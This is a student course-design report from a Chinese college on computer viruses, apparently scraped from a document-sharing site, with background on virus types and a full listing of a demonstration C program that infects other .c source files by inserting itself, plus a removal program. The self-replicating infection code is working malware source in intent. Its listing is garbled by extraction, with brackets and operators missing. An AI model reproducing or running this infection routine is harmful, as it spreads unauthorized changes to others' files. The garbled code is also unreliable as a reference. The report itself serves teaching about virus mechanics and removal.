計算機病毒的代碼分析與實現(1)_第1頁
計算機病毒的代碼分析與實現(1)_第2頁
計算機病毒的代碼分析與實現(1)_第3頁
計算機病毒的代碼分析與實現(1)_第4頁
計算機病毒的代碼分析與實現(1)_第5頁
已閱讀5頁,還剩22頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、傳染C文件的源碼病毒及解毒程序設計安徽省巢湖學院計算機與信息工程學院課程設計報告課程名稱 網絡攻防技術與實踐 課題名稱 計算機病毒的代碼分析與實現 專業班級 12網絡工程2班 姓 名 潘蒙蒙 李強強 尉言康 學 號12035084 12021077 12035098 聯系方式指導教師孫佑明 完成日期: 2015 年 6 月 20 日(1)(1)(4)(5)(8)(10)(12)(18)(18)(22)(23)目 錄1 引言2計算機病毒簡介3傳染C文件源碼病毒及解毒程序設計實現3.1程序設計思路和分析3.2程序流程圖3.3其中用到函數和結構體的說明 3.4程序清單4計算

2、機病毒的演示4.1病毒程序VIRUS.C演示過程 4.2病毒清除程序REVIRUS.C演示過程結束語 1. 引言:計算機病毒發源于美國,是隨著計算機技術的發展而產生的一種畸形怪胎,由于計算機的硬件和操作系統的不盡完善而使得計算機病毒層出不窮,并迅速蔓延。那么什么是計算機病毒呢?美國計算機安全專家Frederick Cohen博士對計算機病毒給出一個早期的定義:計算機病毒是一個靠修改其他程序,并把自身復制品傳染給其它程序的程序。現在可以簡單地說:計算機病毒是人為的一種計算機程序,這種程序隱藏在計算機系統的可存取信息資源中,利用計算機系統信息資源進行生存、繁殖,影響和破壞計算機系統的運行。計算機病

3、毒是人為制造的具有再生機制、潛伏機制和激發機制的軟體,從而決定了計算機病毒是可以在計算機系統上進行試驗和模擬的。從防治計算機病毒的角度,靜態觀測和掃描病毒程序只能在一定程度上反映計算機病毒的存在性,動態模擬和測試可以了解和分析計算機病毒的破壞機制,可以對流行計算機病毒的傳播及其危害提出預測和災難評估。計算機病毒和模擬實驗,可以檢驗反病毒軟件及其產品的性能,并可以掌握市場上計算機安全產品的技術水平與發展動向。計算機演示病毒與實際傳播的計算機病毒不同,計算機演示病毒是防治計算機病毒的安全教育手段和工具,它不能產生實際性質的破壞作用并易于清除。 微型計算機病毒與計算機網絡、大型信息系統的計算機病毒有

4、很大的差異,防治計算機病毒的重點應該是計算機網絡和大型信息系統。從本質上講,計算機病毒的模擬和實驗目的是尋求有效的檢測方法和對抗工具。2. 計算機病毒簡介計算機病毒的分類:微機系統的計算機病毒按傳染方式分為以下三大類:(1)引導型計算機病毒是指既傳染磁盤主引導區,又傳染DOS的BOOT區的計算機病毒。就一般而言,引導型的計算機病毒出現的傳染情況如下:硬盤BOOT區引導程序;軟盤BOOT區引導程序;硬盤分區表(主引導程序)。(2)文件型計算機病毒。一般傳染磁盤上的可執行文件(COM,EXE)。在用戶調用染毒的可執行文件時,病毒首先被運行,然后病毒駐留內存伺機傳染其他文件或直接傳染其他文件。其特點

5、是附著于正常程序文件,成為程序文件的一個外殼或部件。這是較為常見的傳染方式。(3)混和型計算機病毒。混和型計算機病毒是指既傳染磁盤的引導區又傳染可執行文件的計算機病毒(即引導型和文件型計算機病毒)。計算機病毒的構成:計算機病毒是多種多樣的,不同類型病毒采用的機制和組成雖然是千奇百怪的,但可以看出病毒的主要組成部分是相同的,工作邏輯也是相同的。它應該由傳染模塊和表現及破壞模塊組成,每個模塊又有兩個程序段:傳染條件判斷段和實施段,如下圖所示。傳染條件判斷段傳染段病毒程序傳染模塊表現條件判斷段表現段表現段計算機病毒的特點:(1)刻意編寫人為破壞。計算機病毒不是偶然發生的,而是人為編寫的有意破壞、嚴謹

6、精巧的程序段,它是嚴格組織的程序代碼,與所在環境相互適應并緊密配合。編寫病毒的動機一般有一下幾種情況:為了表現自己和證明自己,處于對上級的不滿,出于好奇的“惡作劇”,為了報復,為了紀念某一事件等。(2)自我復制能力。自我復制也稱“再生”或“傳染”。再生機制是判斷是不是計算機病毒的最重要依據。這一點與生物病毒的特點也最為相似。在一定條件下,病毒通過某種渠道從一個文件或一臺計算機傳染到另外沒有感染的文件或計算機,輕則造成被感染的計算機數據被破壞或工作失常,重則使計算機癱瘓。(3)奪取系統控制權。當計算機在正常程序控制之下運行時,系統運行是穩定的。在這臺計算機上可以查看病毒文件的名字,查看或打印計算

7、機病毒代碼,甚至復制病毒文件,系統都不會激活并感染病毒。病毒為了完成感染、破壞系統的目的必然要取得系統的控制權,這是計算機病毒的另外一個重要特點。(4)隱蔽性。不經過程序代碼分析或計算機病毒代碼掃描,病毒程序與正常程序不易區別開。在沒有防護措施的情況下,計算機病毒程序取得系統控制權后,可以在很短的時間里大量傳染。而在傳染后,一般計算機系統仍然能夠運行,被感染的程序也能執行,用戶不會感到明顯的異常,這便是計算機病毒的隱蔽性。(5)潛伏性。大部分病毒在感染系統后一般不會馬上發作,它可長期隱藏在系統中,除了傳染外,不表現出破壞性,這樣的狀態可能保持幾天,幾個月甚至幾年,只有在滿足其特定條件后才能啟動

8、其表現模塊,顯示發作信息或進行系統破壞。使計算機病毒發作的觸發條件主要有以下幾種:利用系統時鐘提供的時間作為觸發器,這種觸發機制被大量病毒使用;利用病毒體自帶的計數器作為觸發器;利用計算機內執行的某些特定操作作為觸發器。計算機病毒的常見傳染途徑:(1)通過軟盤:通過使用外界被感染的軟盤, 例如, 不同渠道來的系統盤、來歷不明的軟件、游戲盤等是最普遍的傳染途徑。由于使用帶有病毒的軟盤, 使機器感染病毒發病, 并傳染給未被感染的“干凈”的軟盤。大量的軟盤交換, 合法或非法的程序拷貝, 不加控制地隨便在機器上使用各種軟件造成了病毒感染、泛濫蔓延的溫床。(2)通過硬盤:通過硬盤傳染也是重要的渠道, 由

9、于帶有病毒機器移到其它地方使用、維修等, 將干凈的軟盤傳染并再擴散。(3)通過網絡:這種傳染擴散極快, 能在很短時間內傳遍網絡上的機器。病毒的危害:在計算機病毒出現的初期,說到計算機病毒的危害,往往注重于病毒對信息系統的直接破壞作用,比如格式化硬盤、刪除文件數據等,并以此來區分惡性病毒和良性病毒。其實這些只是病毒劣跡的一部分,隨著計算機應用的發展,人們深刻地認識到凡是病毒都可能對計算機信息系統造成嚴重的破壞。計算機病毒的主要危害有:(1)病毒激發對計算機數據信息的直接破壞作用。部分病毒在激發的時候直接破壞計算機的重要信息數據,所利用的手段有格式化磁盤、改寫文件分配表和目錄區、刪除重要文件或者用

10、無意義的“垃圾”數據改寫文件、破壞CMOS設置等。 (2)占用磁盤空間和對信息的破壞.寄生在磁盤上的病毒總要非法占用一部分磁盤空間,就造成磁盤空間的嚴重浪費。(3) 搶占系統資源。大多數病毒在動態下都是常駐內存的,這就必然搶占一部分系統資源(4)影響計算機運行速度。病毒在進行傳染時同樣要插入非法的額外操作,特別是傳染軟盤時不但計算機速度明顯變慢,而且軟盤正常的讀寫順序被打亂。(5)計算機病毒給用戶造成嚴重的心理壓力。大多數用戶對病毒采取寧可信其有的態度,這對于保護計算機安全無疑是十分必要的,然而往往要付出時間、金錢等方面的代價。僅僅懷疑病毒而冒然格式化磁盤所帶來的損失更是難以彌補。病毒的清除:

11、清除病毒有兩種方法:人工處理和利用反病毒軟件。常用的反病毒軟件有:瑞星、金山毒霸和KV3000等軟件。但它們在處理病毒時,必須知道某種特別的病毒的信息,然后才能按需要對磁盤進行殺毒。傳統的計算機病毒的清除一般是對文件、內存的處理過程,簡單的清除方法可以僅僅由重新啟動計算機完成。但是如果需要避免再次遭受病毒感染,則必須進行更進一步的操作,如打補丁。 3.傳染C文件源碼病毒及解毒程序設計實現3.1程序設計思路和分析3.1.1病毒程序VIRUS.C這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然后返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行

12、后,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁盤上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志“INFECTED”。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則(1)在未被感染的C程序頭部加入“INFECTED”已被傳染標志。(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。(3)在主程序中插入“VIRUSES();”調用VIRUSES函數。尋找printf、for、while、bre

13、ak語句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到將感染文件里面的VIRUSES_SUB子程序里面,必須把文件名改為當前自身的文件名,否則被傳染后的文件經過編譯、連接和運行后不能再繼續傳染。(6)最后插入VIRUSES子程序。這個子程序里面調用了VIRUSES_SUB,執行到這里返回執行結果信息。 其中用到4個出錯的返回值,分別是:1:用戶文件太大,不傳染;2:帶病毒文件打不開,不傳染;3:帶病毒文件讀取不成功,不傳染;4:查找第一個匹配文件不成功。如果返回值是0代表文件傳染成功。具體實現過程如下:其中用到的函數和結構體用法參考3.3節。首先導入病

14、毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數里面只調用VIRUSES函數。緊跟定義VIRUSES函數里面要調用的VIURS_SUB函數。里面定義了若干個變量。ffblk用來保存查找到的匹配文件的信息,用到里面的ff_name變量來保存匹配文件名。然后定義保存未感染的文件和病毒文件的文件型指針變量,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a50080里面臨時存放。因為此程序對大于500行的C文件不進行傳染,所以完全可以放到里面。首先用getdate函數獲取系統當前日期并輸出。接著用findfirst函數查找擴展名為C的文

15、件,將其信息保存到ffblk里面。用fgets函數讀文件的第一行,長度是80-1個字符。然后用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁盤上查找*.C的匹配文件,一旦找到,查找“已被傳染過”的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。如果沒有這個標志,將文件全部讀入a50080,如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。然后讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫

16、入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變量控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使Include語句不重復。這點是這樣實現的:定義一個字符數組char include_h=“dos.h”, “stdio.h”, “dir.h”; strstr函數查看將被傳染文件的頭文件是否和*include_h相同,如果相同,不進行插入。找出CALL VIRUSES;的插入點:如果有一行有printf、break、for、while語句其中之一,就對其后插入調用VIRUSES函數的調用語句。把病毒子程序寫入文件。最后處理更改被感染

17、的文件名。如果不進行改名,就不能進行多次傳染,也就是說不能體現病毒的自我復制能力。查找一行是static char viruses_f=“virus.c”,把其中的文件名改為被感染的文件名。接著查找下一個匹配文件。3.1.2病毒清除程序REVIURS.C病毒的清除過程是和傳染過程相逆的。傳染的時候插入調用viruses函數的調用語句,在病毒清除文件里面就要刪除掉這個語句。然后還要刪除掉病毒子程序VIURSES_SUB和VIURSES。有一個問題不能進行還原。因為當時插入病毒子程序需要的頭文件時沒有記錄傳染前文件的頭文件信息,所以不能進行還原。但是這一點不影響原文件。所以這點在病毒清除程序中沒有

18、進行處理。由于演示的時候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個目錄下進行演示。考慮到VIRUS.C會把REVIURS.C傳染和REVIRUS.C會把VIRUS.C清除兩種情況。所以編寫這兩個程序的時候必須加入一條條件語句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。當含有清除部分的程序被執行時。它在磁盤上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志“INFECTED”。如果無此標志,繼續找其它的C文件,

19、直至全部檢查一遍。若有這個標志,則(1)查找磁盤文件,如果是有病毒的傳染標志“INFECTED”則打開文件。如果沒有則關閉文件并且尋找下一個TEST*.C。(2)讀取文件,首先判斷是否為Viruses();如果不是則判斷是否為int Viruses_sub(),如果都不是,則把讀取部分放在二維數組a50080中,如果只是為int Viruses_sub(),則讀取文件結束。(3)關閉文件,然后刪除該文件。(4)創建一個跟刪除文件相同名字的文件。然后打開。(5)把二維數組a50080中的數據寫入到新建的文件中。關閉文件,讀取下一個文件。3.2 程序流程圖 3.2.1 病毒程序VIRUS.C流程圖

20、開始 查找匹配的C文件繼續讀可執行部分 N結束 N讀病毒程序 Y Y打開匹配文件將病毒文件名更改為當前文件名傳染標志 有關閉文件讀程序,打開有病毒程序 無關閉匹配文件在程序開頭置“傳染標志”及病毒部分的Include讀程序可執行部分插入CALL VIRUSES下一個匹配的C文件 Y N結束3.2.2 解毒程序REVIRUS.C流程圖關閉文件開始查找磁盤文件刪除匹配的C文件找到匹配C文件N創建并打開同名C文件將a里面的數據寫入新的.C文件打開匹配文件 Y傳染標志關閉文件無 有讀感染病毒程序查找下一個匹配C文件匹配int viruses_sub(); Y N匹配viruses()結束Y 存入二維數

21、組a中 N3.3其中用到的函數和結構體的說明:(1)結構體struct ffblk (在dir.h中)類型變量變量ffblk用于打開文件,獲取返回值。Struct ffblkchar ff_reserved21; char ff_attrib; unsigned ff_ftime; unsigned ff_fdate; long ff_fize; char ff_name13;程序中只用到ff_name來保存匹配文件名。(2)結構體struct date(在dos.h中)變量 struct dateint da_year; /* Year-1980 */ char da_day; /* Day

22、 of the month */ char da_mon; /* Month (1=Jan) */ ;程序中用來獲取系統當前日期。具體用法為:void getdate (struct date *datep);(3)查找匹配文件 findfirst()函數和findnext()函數 調用方式:整型數=findfirst(文件名,&結構變量名,屬性常數組合(如0×24); 功能:檢索由path和attr指定的文件,把結果返回到afer。 Findfirst返回關于第一個指定文件的信息。 Findnext繼續檢索。 返回值:0(檢索成功),-1(沒有找到指定的文件) 屬性常數:

23、FA_NORMAL(0*00) 含意:Normal file, no attributes FA_RDONLY (0*01) 含意:只讀 FA_HIDDEN(0*02) 含意:隱含文件 FA_SYSTEM(0*24) 含意:系統文件 需要用到的頭文件: dir.h程序中的匹配文件屬于普通文件,所以屬性常數為0。(4)讀文件 函數原形:char *fgets (char *a, int n, FILE *fp); 功能: 從fp指向的文件讀取一個長度為(n-1)的字符串,最后加一個 0,存入始地址為a的空間。 若在讀完n-1個字符之前遇到換行符或EOF,讀入即結束。 返回值:返回地址a。 若遇文

24、件結束或出錯,返回NULL。(5)在字符串中查找指定字符串的第一次出現 函數原形; char *strstr(char *str1,char *str2); 功能:找出str2字符串在str1字符串中第一次出現的位置(不包括str2的串結束符)。 返回值:返回該位置的指針。 若找不到,返回NULL指針。程序中用這個函數來判斷字符串是否一致。(6)改變文件位置指針 函數原形:int fseek (FILE *fp, long offset, int base); 功能:將fp所指文件的位置指針移到以base所指出的位置為基準、以offset為位移量的位置。 返回值:返回當前位置。否則,返回-1。

25、SEEK_SET為文件開始。由于讀取文件的時候文件指針要發生變化。而重新執行一條命令的時候需要重新定位文件指針的位置,所以要用到fseek函數。程序中用這個函數定位到文件頭,對文件進行重新讀取。3.4 程序清單3.4.1病毒程序VIRUS.C程序清單如下: /*INFECTED*/#include "stdio.h"#include "dos.h"#include "dir.h"main() viruses();int viruses_sub() struct ffblk ffblk; int done,i,j,k,n_line; F

26、ILE *virus_r,*virus_v; /*virus_r指向將被感染的文件,virus_v指向已帶病毒的文件*/ char a50080,b80,*p1,*p2; /*將被傳染的文件讀入a50080臨時存放*/ static char viruses_f="virus.c"/*文件被傳染后,修改該值為自身文件名*/ int include_write; int virus_call=0; int virus_start=0; char *main_flag="printf","break","for",&q

27、uot;while" char *include_h="dos.h","stdio.h","dir.h" char *v_flag="INFECTED" struct date today;/*VIRUSES DISPLAY*/ getdate(&today); /*病毒顯示日期信息*/ printf("Today is %d/%d/%dn",today.da_mon,today.da_day,today.da_year);/*AFFECT VIRUSES*/ done=fin

28、dfirst("*.c",&ffblk,0); /*查找第一個匹配文件*/ while(!done) if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0) virus_r=fopen(ffblk.ff_name,"r+w"); if(virus_r!=NULL) p1=fgets(&a00,80,virus_r); if(strstr(p1,v_flag0)=NULL) n_line=0; /*把文件全部讀入a50080*/ while(p1!=NULL) n_line+; p1=fgets

29、(&an_line0,80,virus_r); if(n_line>=500) fclose(virus_r); return(1); fseek(virus_r,0,SEEK_SET); virus_v=fopen(&viruses_f0,"r"); /*打開帶病毒的文件*/ if(virus_v=NULL) fclose(virus_r); return(2); for(i=1;i<5;i+) /*讀帶病毒文件前4行并寫入將被傳染的文件*/ p2=fgets(b,80,virus_v); if(p2=NULL) fclose(virus_r)

30、; fclose(virus_v); return(3); fputs(b,virus_r); for(j=0;j<n_line;j+) /*把將被傳染文件的原程序寫回原文件*/ include_write=1; /*不寫入病毒文件已有的包含語句*/ if(strstr(&aj0,"#include")!=NULL) for(i=0;i<3;i+) if(strstr(&aj0,include_hi)!=NULL) include_write=-1; if(virus_call=0) /*插入調用語句,并加上回車換行*/ for(i=0;i<

31、;4;i+) if(strstr(&aj0,main_flagi)!=NULL) for(k=0;k<80;k+) bk=0; strcpy(&b0,"viruses();"); b10=13; b11=10; fputs(b,virus_r);virus_call=1; i=4; if(include_write=1)fputs(&aj0,virus_r); p1=fgets(b,80,virus_v); /*把病毒子程序寫入文件*/ while(p1!=NULL) if(virus_start=0) /*找病毒子程序的第一條語句*/ if(

32、strstr(p1,"int viruses_sub()")!=NULL) virus_start=1; if(virus_start=1) if(strstr(p1,"char")!=NULL) if(strstr(p1,"viruses_f=")!=NULL) strcpy(&b29,ffblk.ff_name); i=strlen(&b0); bi=34; strcpy(&bi+1,");"); bi+3=13; bi+4=10; fputs(b,virus_r); p1=fgets(

33、b,80,virus_v); fclose(virus_v); fclose(virus_r); return(0); fclose(virus_r); done=findnext(&ffblk); return(4); viruses() int num; num=viruses_sub(); switch (num) case 0 : printf("successfuln"); break; case 1: printf("the file is outof linen"); break; case 2 : printf("the

34、 viruses file cannot openn"); break; case 3 : printf("cannot read viruses filen"); break; case 4: printf("cannot find filen"); getch();3.4.2病毒清除程序REVIURS.C清單如下:#include "stdio.h"#include "dos.h"#include "dir.h"main() struct ffblk ffblk; int done

35、,i,j,line,k; static int n_line; FILE *virus_r,*virus_v; char a50080,b80,*p; char *v_flag="INFECTED" done=findfirst("*.c",&ffblk,0); while(!done) if(strcmp(ffblk.ff_name,"VIRUS.C")!=0) for(k=0;k<500;k+) for(j=0;j<80;j+) akj=0; virus_r=fopen(ffblk.ff_name,"

36、r+w"); if(virus_r!=NULL) p=fgets(&b0,80,virus_r); if(strstr(p,v_flag0)!=NULL) line=0; while(p!=NULL) p=fgets(&b0,80,virus_r); if(strstr(&b0,"int viruses_sub()")!=NULL) break; else if(strstr(&b0,"viruses();")=NULL) k=strlen(b); for(j=0;j<k;j+) alinej=bj; al

37、inej+1=0; line+; n_line=line; fclose(virus_r); remove(ffblk.ff_name); /*刪除文件*/ virus_r=fopen(ffblk.ff_name,"w+"); /*打開將被感染的文件*/ for(i=0;i<n_line;i+) fputs(&ai0,virus_r); /*把二維數組中的數據寫入原文件*/ fclose(virus_r); done=findnext(&ffblk); /*查找下一個匹配文件*/ 4. 計算機病毒的演示4.1病毒程序VIRUS.C的演示過程在一張已經格式化的軟盤上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個尚未被感染的C語言程序TEST1.C和TEST2.C。原始代碼分別如下:TEST1.C:#include "stdio.h"main() int i,sum; for(i=1;i<100;i+)

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論